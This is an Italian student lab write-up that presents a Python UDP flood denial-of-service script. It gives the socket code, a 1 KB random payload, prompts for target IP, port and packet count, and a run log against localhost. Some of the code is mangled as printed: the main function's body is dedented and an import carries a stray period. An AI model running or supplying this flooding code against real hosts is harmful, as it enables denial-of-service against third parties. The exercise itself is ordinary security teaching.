

# ESERCIZIO ATTACCHI DoS - UDP FLOOD - S6/L3

## Introduzione

Il codice implementa un simulatore di attacco **UDP Flood** con le seguenti caratteristiche:

- Richiesta interattiva all'utente di **IP**, **porta** e **numero di pacchetti**.
- Costruzione di pacchetti da **1 KB** usando **random.\_urandom()**.
- Invio dei pacchetti tramite **socket UDP**.
- Stampa dei progressi ogni 100 pacchetti.
- Programma utilizzato **Python**, **Libreria Python**.

## Scrittura del programma in Python

```
import socket    => Funzioni per la comunicazione a basso livello
import random.   => Funzioni per generare numeri casuali
import sys       => Funzioni che interagiscono con l'interprete di Python
import threading => Funzioni che permettono l'esecuzione di diverse attività in parallelo.
```

```
def udp_flood(target_ip: str, target_port: int, packet_size: int, num_packets: int):
    """
    Invia num_packets pacchetti UDP di dimensione packet_size a target_ip:target_port.
    """
    # Creazione socket UDP
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    # Generazione del payload dimensione pacchetti
    payload = random._urandom(packet_size)

    sent = 0
    try:
        for i in range(num_packets):
            sock.sendto(payload, (target_ip, target_port))
            sent += 1
            # Stampa dello stato ogni 100 pacchetti
            if sent % 100 == 0:
                print(f"Pacchetti inviati: {sent}")
    except KeyboardInterrupt:
        print("\nInterrotto dall'utente.")
    finally:
        sock.close()
        print(f"Invio completato: {sent}/{num_packets} pacchetti inviati.")

def main():
    print("=== Simulazione UDP Flood ===")
```

```

# Input dell'IP target
target_ip = input("Inserisci l'IP target: ")

# Validazione IP base
try:
    socket.inet_aton(target_ip)
except socket.error:
    print("IP non valido. Uscita.")
    sys.exit(1)

# Input della porta target
try:
    target_port = int(input("Inserisci la porta UDP target (1-65535): "))
    if not (1 <= target_port <= 65535):
        raise ValueError
except ValueError:
    print("Porta non valida. Uscita.")
    sys.exit(1)

# Dimensione pacchetto (in bytes)
packet_size = 1024 # 1 KB

# Numero di pacchetti da inviare
try:
    num_packets = int(input("Quanti pacchetti da 1 KB inviare? "))
    if num_packets <= 0:
        raise ValueError
except ValueError:
    print("Numero di pacchetti non valido. Uscita.")
    sys.exit(1)

# Avvio dell'attacco
print(f'Avvio invio di {num_packets} pacchetti UDP da {packet_size} byte a {target_ip}: {target_port}...')
udp_flood(target_ip, target_port, packet_size, num_packets)

if __name__ == "__main__":
    main()

```

## Risultato finale

```

(kali@kali2023) - [~/Desktop/PYTHON]
$ python prova7.py
=== Simulazione UDP Flood ===
Inserisci l'IP target: 127.0.0.1
Inserisci la porta UDP target (1-65535): 9999
Quanti pacchetti da 1 KB inviare? 500
Avvio invio di 500 pacchetti UDP da 1024 byte a 127.0.0.1:9999...
Pacchetti inviati: 100
Pacchetti inviati: 200
Pacchetti inviati: 300
Pacchetti inviati: 400
Pacchetti inviati: 500
Invio completato: 500/500 pacchetti inviati.

```

